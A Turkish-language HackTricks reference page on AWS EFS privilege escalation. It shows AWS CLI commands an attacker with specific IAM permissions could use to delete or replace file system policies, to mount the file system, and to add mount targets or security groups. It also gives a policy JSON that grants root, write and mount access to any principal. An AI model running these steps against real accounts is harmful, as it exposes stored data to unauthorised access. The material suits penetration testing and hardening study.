AWS - EFS Privesc

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

EFS

EFS hakkında daha fazla bilgi için:

AWS - EFS Enum

Bir EFS'i bağlamak için, EFS'in açığa çıkarıldığı bir alt ağda olmanız ve erişiminizin olması (güvenlik grupları) gerektiğini unutmayın. Bu durum gerçekleşiyorsa, varsayılan olarak her zaman bağlantı yapabilirsiniz, ancak IAM politikalarıyla korunuyorsa, erişim için burada belirtilen ek izinlere sahip olmanız gerekmektedir.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Bu izinlerden herhangi biriyle bir saldırgan, dosya sistemi politikasını değiştirerek size erişim sağlayabilir veya sadece silmek için varsayılan erişimi sağlayabilir.

Politikayı silmek için:

aws efs delete-file-system-policy \
--file-system-id <value>

Değiştirmek için:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Bu izinle bir saldırgan, EFS'yi bağlama yeteneğine sahip olacaktır. EFS'yi bağlayabilen herkese yazma izni verilmediyse, sadece okuma erişimi olacaktır.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Ekstra izinler elasticfilesystem:ClientRootAccess ve elasticfilesystem:ClientWrite, dosya sistemi bağlandıktan sonra içine yazmak ve bu dosya sistemine root olarak erişmek için kullanılabilir.

Potansiyel Etki: Dosya sisteminde hassas bilgileri bulmak suretiyle dolaylı bir ayrıcalık yükseltme.

elasticfilesystem:CreateMountTarget

Eğer bir saldırgan, EFS'nin hiçbir bağlama hedefinin bulunmadığı bir alt ağda bulunuyorsa, bu ayrıcalıkla sadece kendi alt ağına bir bağlama hedefi oluşturabilir:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Potansiyel Etki: Dosya sisteminde hassas bilgileri bulmak suretiyle dolaylı bir ayrıcalık yükseltme.

elasticfilesystem:ModifyMountTargetSecurityGroups

Bir saldırgan, EFS'nin alt ağında bir bağlama hedefi olduğunu fark eder ancak hiçbir güvenlik grubu trafiğe izin vermiyorsa, sadece seçilen güvenlik gruplarını değiştirerek bunu değiştirebilir:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Potansiyel Etki: Dosya sisteminde hassas bilgileri bulma yoluyla dolaylı ayrıcalık yükseltme.

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated